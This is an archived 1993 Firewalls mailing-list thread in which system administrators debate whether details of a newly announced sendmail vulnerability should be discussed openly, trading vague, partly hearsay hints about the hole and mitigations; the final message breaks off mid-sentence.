12:53:48 EDT Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA22633; Fri, 22 Oct 93 12:53:47 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA27209; Fri, 22 Oct 93 12:53:41 EDT Message-Id: <9310221653.AA27209@snark.lehman.com> To: reh@cs.umd.edu (Richard Huddleston) Cc: Firewalls@greatcircle.com Subject: Re: sendmail and CERT In-Reply-To: Your message of "Fri, 22 Oct 1993 11:10:32 EDT." <9310221510.AA15724@bedrock.cs.UMD.EDU> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Fri, 22 Oct 1993 12:53:40 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Can someone explicitly let us in on what the vulnerability does? I've partially hacked my sendmail to provide extra security, and it would be nice to know if I have to worry. Perry Richard Huddleston says: > >From what I've heard, this bug effects all sendmail using the ForceMail > variable in recipient.c . This bug is apparently cleared in the 8.6 > source, and can be cleared either by clearing it and rebuilding ( if you've > got the SunOS source ) or by the patches that I'm sure everybody already > knows about. > > Boy, I was sure fond of the word "clear" in that last paragraph ;). > > Richard > > --- > > > Hi- > > Does anyone have more info on the sendmail vulnerability announced by > CERT yesterday? What's the hole? Does it only concern TCP connections > into sendmail? Or can forwarded mail be used to exploit it? CERT > hinted the former to me on the phone, but I'd like any perspectives on > this from someone who knows. > > -Rens > > --- From Firewalls-Owner Fri Oct 22 16:58:47 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07625; Fri, 22 Oct 93 16:58:47 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07617; Fri, 22 Oct 93 09:58:38 PDT Received: from relay.lehman.com ([192.9.140.112]) by lehman.com (4.1/LB 0.1) id AA22905; Fri, 22 Oct 93 13:02:03 EDT Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA22773; Fri, 22 Oct 93 13:02:01 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA27228; Fri, 22 Oct 93 13:02:00 EDT Message-Id: <9310221702.AA27228@snark.lehman.com> To: firewalls@greatcircle.com Subject: Re: Sun sendmail vulnerability In-Reply-To: Your message of "Fri, 22 Oct 1993 08:30:40 PDT." <9310221525.AA07316@mycroft.GreatCircle.COM> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Fri, 22 Oct 1993 13:01:59 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk All my border machines have special C programs that have replaced the local and shell mailers to reject and complain about any attempt to deliver mail locally. Will this likely keep me safe, or not? Perry Steven Tepper says: > > Does anyone have more info on the sendmail vulnerability announced by > > CERT yesterday? What's the hole? Does it only concern TCP connections > > into sendmail? Or can forwarded mail be used to exploit it? CERT > > hinted the former to me on the phone, but I'd like any perspectives on > > this from someone who knows. > > This isn't much, but the README from Sun patch 101077-03 says: > > 1142888: A sendmail security hole dealing with mail delivered to files > > The phrase "delivered to files" sounds as if it refers to aliases > that put the mail in a named file, e.g. "foo:/usr/adm/foolog". From Firewalls-Owner Fri Oct 22 17:12:49 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07673; Fri, 22 Oct 93 17:12:49 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07665; Fri, 22 Oct 93 10:12:40 PDT Received: from relay.lehman.com ([192.9.140.112]) by lehman.com (4.1/LB 0.1) id AA23002; Fri, 22 Oct 93 13:15:39 EDT Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA23117; Fri, 22 Oct 93 13:15:37 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA27241; Fri, 22 Oct 93 13:15:35 EDT Message-Id: <9310221715.AA27241@snark.lehman.com> To: "Leland K. Neely" Cc: Dan.Farmer@corp.sun.com, rens@imsi.com, firewalls@greatcircle.com Subject: Re: Sun sendmail vulnerability In-Reply-To: Your message of "Fri, 22 Oct 1993 09:25:14 PDT." <9310221621.AA07468@mycroft.GreatCircle.COM> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Fri, 22 Oct 1993 13:15:34 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Leland K. Neely says: > Flame on: > Please refrain from disclosing bug particulars on an email list. > > All we need is to have hackers get the inside poop on a hole faster > than we can patch it. [...] > Flame off. > > I know you are trying to understand the vulnerability, but please consider > the (potential) audience when asking such questions. The hackers are already furiously working on this. Meanwhile, I have a multi-billion dollar company thats potentially vulnerable and I don't have enough real information to be able to decide on a reasonable response. I'm not running a standard sendmail, no one will tell me what the bug is so I can check if I'm vulnerable, I can't go out and use the patched Sun sendmail because I don't run it, etc. In other words, all this has succeeded in doing is making me paranoid and I have no idea what to do. You, Mr. Neely, might be perfectly happy not knowing what the vulnerability is, but I *NEED* to know. Perry From Firewalls-Owner Fri Oct 22 17:14:30 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07690; Fri, 22 Oct 93 17:14:30 GMT Received: from tuna.wang.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07682; Fri, 22 Oct 93 10:14:20 PDT Received: from elf.wang.com by tuna.wang.com with SMTP id AA14922 (5.65c/IDA-1.5 for ); Fri, 22 Oct 1993 13:17:48 -0400 Received: from fnord.wang.com by elf.wang.com with SMTP id AA27930 (5.65c/IDA-1.5); Fri, 22 Oct 1993 13:17:44 -0400 Received: by fnord.wang.com (5.65c/TF5) id AA10682; Fri, 22 Oct 1993 13:17:39 -0400 From: Tom Fitzgerald Message-Id: <199310221717.AA10682@fnord.wang.com> Subject: Re: Sun sendmail vulnerability To: lkn@llnl.gov (Leland K. Neely) Date: Fri, 22 Oct 93 13:17:39 EDT Cc: Dan.Farmer@corp.sun.com, rens@imsi.com, firewalls@greatcircle.com In-Reply-To: <9310221621.AA07468@mycroft.GreatCircle.COM>; from "Leland K. Neely" at Oct 22, 93 9:25 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Flame on: > Please refrain from disclosing bug particulars on an email list. Oh, for.... There are lots of us out here with home-customized sendmails, who are *really curious* whether we're running with the bug, and if so, what source fixes to make. Are we all vulnerable out here or not? Even if the bug isn't present in the stock 5.58, 5.65 or IDA sendmails, have we introduced the bugs accidentally, ourselves, in our own changes? How can we test this? Or are we all supposed to sit back ignorantly until a "suspicious" message shows up in our mailboxes informing us that yes, we have now been broken into and it's time to dig out the install tapes? Your attitude will increase the chance that the majority of admins learn about the problems long after the vandals, who may already be familiar with it and have no problems whatsoever about sharing information between themselves. A little knowledge may be a dangerous thing, but total ignorance is worse. -- Tom Fitzgerald Wang Labs, Lowell MA, USA fitz@wang.com 1-508-967-5278 From Firewalls-Owner Fri Oct 22 17:18:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07713; Fri, 22 Oct 93 17:18:38 GMT Received: from ncar.UCAR.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07705; Fri, 22 Oct 93 10:18:29 PDT From: woods@ncar.UCAR.EDU (Greg Woods) Message-Id: <9310221722.AA14663@ncar.ucar.EDU> Received: by ncar.ucar.EDU (5.65/ NCAR Central Post Office 03/11/93) id AA14663; Fri, 22 Oct 93 11:22:08 MDT Subject: Re: Sun sendmail vulnerability To: lkn@llnl.gov (Leland K. Neely) Date: Fri, 22 Oct 93 11:22:07 MDT Cc: firewalls@greatcircle.com In-Reply-To: <9310221621.AA07468@mycroft.GreatCircle.COM>; from "Leland K. Neely" at Oct 22, 93 9:25 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Please refrain from disclosing bug particulars on an email list. > > All we need is to have hackers get the inside poop on a hole faster > than we can patch it. > OK, here's one: we don't run Sun's sendmail, we run an older Berkeley version. How am I supposed to find out if our system is vulnerable also unless I can find out more about the bug? It seems to me that if, as the CERT announcement states, the hole is ALREADY being widely exploited, concerns about hackers finding out how to exploit it should take a back seat to helping the guys in the white hats close the hole. --Greg From Firewalls-Owner Fri Oct 22 17:36:22 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07773; Fri, 22 Oct 93 17:36:22 GMT Received: from bedrock.cs.UMD.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07765; Fri, 22 Oct 93 10:36:14 PDT Received: by bedrock.cs.UMD.EDU (5.64/UMIACS-0.9/04-05-88) id AA16137; Fri, 22 Oct 93 13:40:02 -0400 Date: Fri, 22 Oct 93 13:40:02 -0400 From: reh@cs.UMD.EDU (Richard Huddleston) Message-Id: <9310221740.AA16137@bedrock.cs.UMD.EDU> To: lkn@llnl.gov Subject: Sun sendmail hole Cc: firewalls@GreatCircle.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >From the CERT advisory on this bug: -- ** This vulnerability is being actively exploited and we strongly recommend that sites take immediate and corrective action. ** -- >From your email: ` -- Please refrain from disclosing bug particulars on an email list. All we need is to have hackers get the inside poop on a hole faster than we can patch it. -- I respectfully submit that the inside poop is very widely known by now, and that postings to firewalls -- or any other list for legitimate distribution of information -- had little or nothing to do with it. ` Please allow a clarification, as well, of something I provided earlier: I was quoting someone from Sun when I said "all" sendmail using a named variable was at risk. The scope of that statement probably is limited to Sun products. Richard From Firewalls-Owner Fri Oct 22 18:15:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07927; Fri, 22 Oct 93 18:15:11 GMT Received: from relay.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07914; Fri, 22 Oct 93 11:14:57 PDT Received: by relay.tis.com; id AA13719; Fri, 22 Oct 93 14:16:22 EDT Received: from tis.com(192.33.112.100) by relay via smap (V1.0mjr) id sma013713; Fri Oct 22 14:15:51 1993 Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA10271; Fri, 22 Oct 93 14:18:09 EDT Received: by otter.TIS.COM (5.65/otter) id AA00717; Fri, 22 Oct 93 14:18:06 -0400 From: mjr@TIS.COM Date: Fri, 22 Oct 93 14:18:06 -0400 Message-Id: <717.9310221818@otter.TIS.COM> To: lkn@llnl.gov, woods@ncar.UCAR.EDU Subject: Re: Sun sendmail vulnerability Cc: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk It's safe to assume that there are crackers subscribed to this list, so a little caution is recommended in posting bug descriptions. While most of the crackers I've run across are clueless dweebs who don't know enough to reverse-engineer a bug from a CERT posting, there *are* such individuals, and they're much more open about sharing system weaknesses than are us security folk. That's the tragedy. I asked a senior security guy at a major vendor recently about some rumored sendmail bugs and couldn't get details, just cagey responses. That doesn't help, either. Organizations like CERT do a good job of balancing the tightrope of not saying enough versus saying too much. It's a no-win game for all of us. :( We're in an arms race here. "Thus, the reason the farsighted ruler and his superior commander conquer the enemy at every move, and achieve successes far beyond the reach of the common crowd, is foreknowledge. Such foreknowledge cannot be had from ghosts and sprits, educed by comparison with past events, or verified by astrological calculations. It must come from people - people who know the enemy's situation." -Sun Tzu mjr. From Firewalls-Owner Fri Oct 22 11:17:02 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07832; Fri, 22 Oct 93 17:56:27 GMT Received: from alpha.CES.CWRU.Edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07816; Fri, 22 Oct 93 10:56:16 PDT Received: from sentinel.CES.CWRU.Edu by alpha.CES.CWRU.Edu with SMTP (5.64+/ane.07.08.91.01) id AA03103; Fri, 22 Oct 93 13:59:56 -0400 From: Aydin Edguer Message-Id: <9310221759.AA03103@alpha.CES.CWRU.Edu> Subject: Re: Sun sendmail vulnerability To: woods@ncar.UCAR.EDU (Greg Woods) Date: Fri, 22 Oct 93 13:59:01 EDT In-Reply-To: <9310221722.AA14663@ncar.ucar.EDU>; from "Greg Woods" at Oct 22, 93 11:22 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > OK, here's one: we don't run Sun's sendmail, we run an older Berkeley > version. How am I supposed to find out if our system is vulnerable also > unless I can find out more about the bug? It seems to me that if, as you state, you are concerned and have a legitimate multimillion dollar reason, you should ask CERT, Sun Microsystems Security, or Eric Allman. The simple fact of the matter is that this list is for people who don't trust any Joe or Jane on the Internet - even those who claim to be wearing white hats - why else build a firewall?. If you can accept the need for a firewall, you should also be able to accept that vendors and software writers are not always going to publicly divulge how to exploit vulnerabilities. IF you want the information, you need to establish a trusted relationship with them. I would suggest that this would be a good time to start. Further, if you are concerned enough with security that you are unwilling to run a stock BSD or Sun sendmail then you probably shouldn't be running sendmail at all - as the Bell Labs folks would say - if you can't understand it, you shouldn't run it. Aydin Edguer From Firewalls-Owner Fri Oct 22 18:25:44 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07962; Fri, 22 Oct 93 18:25:44 GMT Received: from merl.com (mayflower.merl.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07954; Fri, 22 Oct 93 11:25:37 PDT Received: from thisbe.merl.com by merl.com (4.1/SMI-4.0) id AA28208; Fri, 22 Oct 93 14:28:46 EDT Message-Id: <9310221828.AA28208@merl.com> Organization: Mitsubishi Electric Research Laboratories, Inc. Cambridge, Massachusetts, USA To: pmetzger@lehman.com Cc: "Leland K. Neely" , Dan.Farmer@corp.sun.com, rens@imsi.com, firewalls@GreatCircle.COM, conrad@merl.com Subject: Re: Sun sendmail vulnerability In-Reply-To: Your message of "Fri, 22 Oct 93 13:15:34 EDT." <9310221715.AA27241@snark.lehman.com> Date: Fri, 22 Oct 93 14:28:45 -0400 From: Eric Conrad Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > The hackers are already furiously working on this. Meanwhile, I have a > multi-billion dollar company thats potentially vulnerable and I don't > have enough real information to be able to decide on a reasonable > response. I'm not running a standard sendmail, no one will tell me > what the bug is so I can check if I'm vulnerable, I can't go out and > use the patched Sun sendmail because I don't run it, etc. > I heard this through the grapevine, so take it with a grain of salt. This bug supposedly exploits the sync account with /bin/sync as a shell. Change the shell to /bin/none. That's all I've heard, and it's certainly not gospel. If anyone has any more info, please email me. ...Eric From Firewalls-Owner Fri Oct 22 18:26:15 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07971; Fri, 22 Oct 93 18:26:15 GMT Received: from suntan.Tandem.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07963; Fri, 22 Oct 93 11:26:07 PDT Received: from hydrogen.forge.tandem.com by suntan.Tandem.com (4.1/suntan5.930818) for firewalls@greatcircle.com id AA16456; Fri, 22 Oct 93 11:29:53 PDT Received: by hydrogen.forge.tandem.com (4.1/6main.930723) id AA04953; Fri, 22 Oct 93 11:29:52 PDT Newsgroups: tandem.lists.firewalls Path: scott From: scott@forge.tandem.com (Scott Hazen Mueller) Subject: Re: Sun sendmail vulnerability Message-Id: Originator: scott@zorch Nntp-Posting-Host: zorch Organization: Tandem Computers Inc., Cupertino CA References: <9310221722.AA14663@ncar.ucar.EDU> Distribution: tandem Date: Fri, 22 Oct 1993 18:29:50 GMT Lines: 12 X-Disclaimer: This article is not the opinion of Tandem Computers, Inc. Apparently-To: tandem!firewalls Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk woods@ncar.ucar.edu (Greg Woods) writes: >OK, here's one: we don't run Sun's sendmail, we run an older Berkeley >version. Likewise. Furthermore, is it not possible that the hole can be closed in ways other than loading the Sun patch? E.g. if there is a vulnerability in Mprog again, shut off Mprog to limit the scope while we fix things? -- Scott Hazen Mueller, Tandem Computers +1 408 285 5762 scott@dsg.tandem.com Unix System/Network Administrator, Email Postmaster and Usenet Administrator From Firewalls-Owner Fri Oct 22 18:32:57 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA08031; Fri, 22 Oct 93 18:32:57 GMT Received: from mercury.house.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA08023; Fri, 22 Oct 93 11:32:46 PDT Received: from cobalt.house.gov by mercury.house.gov with SMTP (1.37.109.4/16.2) id AA05419; Fri, 22 Oct 93 14:28:44 -0400 Received: by cobalt.house.gov (AA06514); Fri, 22 Oct 93 13:33:52 -0700 Date: Fri, 22 Oct 93 13:33:52 -0700 From: Dorian Deane Message-Id: <9310222033.AA06514@cobalt.house.gov> To: lkn@llnl.gov, woods@ncar.UCAR.EDU Subject: Re: Sun sendmail vulnerability Cc: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk woods@ncar.ucar.edu (Greg Woods) writes: > > OK, here's one: we don't run Sun's sendmail, we run an older Berkeley > version. How am I supposed to find out if our system is vulnerable also > unless I can find out more about the bug? It seems to me that if, as > the CERT announcement states, the hole is ALREADY being widely exploited, > concerns about hackers finding out how to exploit it should take a back > seat to helping the guys in the white hats close the hole. > > --Greg > In the comp.mail.sendmail Eric Allman stated that 8.6 does NOT have the vulnerability mentioned in the recent CERT advisory. The paranoid amongst us will want to note that the posting was not digitaly signed... dorian From Firewalls-Owner Fri Oct 22 11:47:02 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07824; Fri, 22 Oct 93 17:56:21 GMT Received: from uswat.advtech.uswest.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA07815; Fri, 22 Oct 93 10:56:06 PDT Received: from futureworld.advtech.uswest.com by uswat.advtech.uswest.com with SMTP id AA14586 (5.65c/IDA-1.4.4 for ); Fri, 22 Oct 1993 11:59:33 -0600 Received: from localhost.uswest.com by futureworld.advtech.uswest.com (advtech.uswest.com) id AA11285 (4.1/at-generic.16Sep93); Fri, 22 Oct 93 11:59:28 MDT Message-Id: <9310221759.AA11285@futureworld.advtech.uswest.com> To: "Leland K. Neely" Cc: Dan.Farmer@corp.sun.com, rens@imsi.com, firewalls@greatcircle.com Subject: Re: Sun sendmail vulnerability In-Reply-To: Your message of "Fri, 22 Oct 1993 09:25:14 PDT." <9310221621.AA07468@mycroft.GreatCircle.COM> Date: Fri, 22 Oct 1993 11:59:28 -0600 From: Brad Huntting Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Please refrain from disclosing bug particulars on an email list. > All we need is to have hackers get the inside poop on a hole faster > than we can patch it. > I know you are trying to understand the vulnerability, but please consider > the (potential) audience when asking such questions. I totally disagree... This attitude has infested computer security for long enough. There was an excellent article on this in some DEC rag about a year ago. Being secretive about security holes doesn't help anyone but the hackers and spies that already know the holes. Once the affected product has been patched and the patch is widely available, there's little reason to keep secretive about the bug. A little light is what's needed to kill off the remaining infection. It is also because of this secretive attitude that legit computer security circles and publications are so far behind their hacker equivalents. I appreciate getting CERT advisories, but I find 2600 at least as informative, and I've considered taking lessons in Dutch just so I can read some of the better publications. Besides, like most people on this list, I'm not worried about casual hackers most of whom break into networks just to see if they can. The real threat to our network comes from professional corporate spies. These people probably already know the details of these bugs and posting them to this list will only serve to enlighten us poor sysadmins who havn't the time or resources to spend uncovering them on our own. Please post; Inquiring minds want to know! brad From Firewalls-Owner Fri Oct 22 19:57:12 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA08171; Fri, 22 Oct 93 19:57:12 GMT Received: from aisdb1.llnl.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA08163; Fri, 22 Oct 93 12:57:04 PDT Message-Id: <9310221957.AA08163@mycroft.GreatCircle.COM> Received: by aisdb1.llnl.gov (1.37.109.4/16.2) id AA05162; Fri, 22 Oct 93 13:01:21 -0700 From: Leland K. Neely Subject: Re: Sun sendmail vulnetability To: firewalls@greatcircle.com Date: Fri, 22 Oct 93 13:01:20 PDT Mailer: Elm [revision: 70.85] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk All- Well, having been trashed, it is time to respond. What we have here is a conflict between those who need the information about the latest security hole, and the need to keep those who don't have it (who would use it to exploit said holes) from getting it. I agree that we need the inside poop on any vulnerability, to assess the impact and degree of patching needed. Also, Ignorance is not bliss. BUT given all of that, to me, discussion of system vulnerabilities on an open email list makes as much sense as selling your personnel records on the street, or having classified discussions on open phone lines. I don't want to verify what hackers suspect. I want the trust of insiders, such that I get the straight poop quickly, accurately and before we get hit. I guess I am just weird. Lee From Firewalls-Owner Fri Oct 22 20:55:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA08260; Fri, 22 Oct 93 20:55:40 GMT Received: from terminus.cs.umb.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA08252; Fri, 22 Oct 93 13:55:30 PDT Received: by terminus.cs.umb.edu id AA24113 (5.65c/IDA-1.4.4 for firewalls@greatcircle.com); Fri, 22 Oct 1993 16:59:09 -0400 Date: Fri, 22 Oct 1993 16:59:09 -0400 From: "John B. Brown" Message-Id: <199310222059.AA24113@terminus.cs.umb.edu> To: lkn@llnl.gov, mjr@TIS.COM, woods@ncar.UCAR.EDU Subject: Re: Sun sendmail vulnerability Cc: firewalls@greatcircle.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > On Fri, 22 Oct 93 14:18:06 -0400, mjr@TIS.COM wrote: > It's safe to assume that there are crackers subscribed to this > list, so a little caution is recommended in posting bug descriptions. > While most of the crackers I've run across are clueless dweebs who > don't know enough to reverse-engineer a bug from a CERT posting, > there *are* such individuals, and they're much more open about sharing > system weaknesses than are us security folk. That's the tragedy. I > asked a senior security guy at a major vendor recently about some > rumored sendmail bugs and couldn't get details, just cagey responses. > That doesn't help, either. > Organizations like CERT do a good job of balancing the > tightrope of not saying enough versus saying too much. It's a no-win > game for all of us. :( We're in an arms race here. It looks like we're loosing the race. >From the CERT notice: ** This vulnerability is being actively exploited and we strongly recommend that sites take immediate and corrective action. ** > "Thus, the reason the farsighted ruler and his superior > commander conquer the enemy at every move, and achieve successes > far beyond the reach of the common crowd, is foreknowledge. Such > foreknowledge cannot be had from ghosts and sprits, educed by > comparison with past events, or verified by astrological calculations. > It must come from people - people who know the enemy's situation." And, of course, his own situation! We don't know ours, so we're BOUND to lose. Those actively exploiting the hole are just like the farsighted ruler; they operate from forknowledge. There are people recommending operating with NO knowledge, except for astrological calculations in the form of friendly Sun spots. Being paranoid is how to lose. Being open with knowledge is the only way to win. Shalom, JBB. From Firewalls-Owner Fri Oct 22 21:12:56 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA08343; Fri, 22 Oct 93 21:12:56 GMT Received: from terminus.cs.umb.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA08334; Fri, 22 Oct 93 14:12:40 PDT Received: by terminus.cs.umb.edu id AA24153 (5.65c/IDA-1.4.4 for firewalls@greatcircle.com); Fri, 22 Oct 1993 17:16:21 -0400 Date: Fri, 22 Oct 1993 17:16:21 -0400 From: "John B. Brown" Message-Id: <199310222116.AA24153@terminus.cs.umb.edu> To: firewalls@greatcircle.com, lkn@llnl.gov Subject: Re: Sun sendmail vulnetability Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > On Fri, 22 Oct 93 13:01:20 PDT, Leland K. Neely wrote: > All- > Well, having been trashed, it is time to respond. > What we have here is a conflict between those who need the information > about the latest security hole, and the need to keep those who don't > have it (who would use it to exploit said holes) from getting it. > I agree that we need the inside poop on any vulnerability, to assess the > impact and degree of patching needed. > Also, Ignorance is not bliss. > BUT given all of that, to me, discussion of system vulnerabilities on > an open email list makes as much sense as selling your personnel records > on the street, or having classified discussions on open phone lines. > I don't want to verify what hackers suspect. > I want the trust of insiders, such that I get the straight poop quickly, > accurately and before we get hit. > I guess I am just weird. No amount of hiding information in an 'insiders' group is going to keep that information from people determined enough to have it. That means that going with the insider approach will make it easy for the bad guys to fool the insiders and the good guys will always be behind the times. Free and open exchange of information is the only cure for the problem. You know, the old fashioned search for knowledge, the scientific spirit of inquiry, that's the only cure. Arcana from the insiders is the easiest thing to fake because there wont be enough real truth available to check it with. You can trust your own decisions made from a base of knowledge. How do you know you can trust the 'inside expert'? Shalom, JBB. PS. I guess a public key signature might be trusted. From Firewalls-Owner Fri Oct 22 21:34:33 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA08490; Fri, 22 Oct 93 21:34:33 GMT Received: from versant.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA08482; Fri, 22 Oct 93 14:34:24 PDT Received: from osc.com (osc.versant.com) by versant.com (4.1/SMI-4.1) id AA23714; Fri, 22 Oct 93 14:41:11 PDT Received: by osc.com (4.1/SMI-4.1) id AA12987; Fri, 22 Oct 93 14:38:53 PDT Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.osc.osc.com.sun4.41 via MS.5.6.osc.osc.com.sun4_41; Fri, 22 Oct 1993 14:38:51 -0700 (PDT) Message-Id: Date: Fri, 22 Oct 1993 14:38:51 -0700 (PDT) From: Kwan-Seng Low Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: firewalls@GreatCircle.COM Subject: re: Sun sendmail vulnerability Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk have a silly question.... "The best defense is to offense" How do we incorparate this into the internet security/firewalls? Kwan kwan@versant.com From Firewalls-Owner Fri Oct 22 22:00:25 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA08660; Fri, 22 Oct 93 22:00:25 GMT Received: from alw.nih.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA08652; Fri, 22 Oct 93 15:00:16 PDT Received: from kirin.dcrt.nih.gov by alw.nih.gov (5.61/1.35(alw-2.4)) id AA04424; Fri, 22 Oct 93 18:04:01 -0400 Received: by kirin.dcrt.nih.gov (4.1/3.15) id for firewalls@greatcircle.com; Fri, 22 Oct 93 18:03:59 EDT Received: via switchmail; Fri, 22 Oct 1993 18:03:59 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Fri, 22 Oct 1993 18:03:44 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Fri, 22 Oct 1993 18:03:42 -0400 (EDT) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.dude.dcrt.nih.gov.sun4c.411 via MS.5.6.dude.dcrt.nih.gov.sun4_41; Fri, 22 Oct 1993 18:03:42 -0400 (EDT) Message-Id: <0gm5WyC0ts4jBSK4dH@alw.nih.gov> Date: Fri, 22 Oct 1993 18:03:42 -0400 (EDT) From: Bob Dew Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: firewalls@greatcircle.com Subject: Re: Sun sendmail vulnerability In-Reply-To: <9310221328.AA00380@lorax.imsi.com> References: <9310221328.AA00380@lorax.imsi.com> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I believe the bug is capable of granting daemon (1:1) read/write access to remote systems. In a relative sense, that's no so bad. What sort of harm could an intruder do, assuming he had daemon UID access? Thanks, Bob From Firewalls-Owner Fri Oct 22 22:39:18 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA09028; Fri, 22 Oct 93 22:39:18 GMT Received: from Sun.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA09013; Fri, 22 Oct 93 15:39:05 PDT Received: from Corp.Sun.COM (lemay.Corp.Sun.COM) by Sun.COM (4.1/SMI-4.1) id AA19525; Fri, 22 Oct 93 15:42:46 PDT Received: from death.corp.sun.com by Corp.Sun.COM (4.1/elliemay (corpmail1 inbound)) id AA16308; Fri, 22 Oct 93 15:42:42 PDT Received: by death.corp.sun.com (4.1/SMI-4.1) id AA10105; Fri, 22 Oct 93 15:42:41 PDT Message-Id: <9310222242.AA10105@death.corp.sun.com> From: Dan.Farmer@Corp.Sun.COM Date: Fri, 22 Oct 1993 15:42:40 -0700 In-Reply-To: Bob Dew "Re: Sun sendmail vulnerability" (Oct 22, 18:03) X-Mailer: Mail User's Shell (7.2.2 4/12/91) To: firewalls@GreatCircle.COM Subject: Re: Sun sendmail vulnerability Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > What sort of harm could an intruder do, assuming he had daemon UID access? God. What *couldn't* you do if you had a shell on a system? It's toast. -- d From Firewalls-Owner Fri Oct 22 22:41:26 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA09069; Fri, 22 Oct 93 22:41:26 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931019) id AA09060; Fri, 22 Oct 93 15:41:15 PDT Message-Id: <9310222241.AA09060@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by gryphon; Fri Oct 22 18:44:06 EDT 1993 To: Bob Dew Cc: firewalls@GreatCircle.COM Subject: Re: Sun sendmail vulnerability Date: Fri, 22 Oct 93 18:44:06 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I believe the bug is capable of granting daemon (1:1) read/write access to remote systems. In a relative sense, that's no so bad. What sort of harm could an intruder do, assuming he had daemon UID access? What sort of harm? You've just given away access to your machine. The intruder will 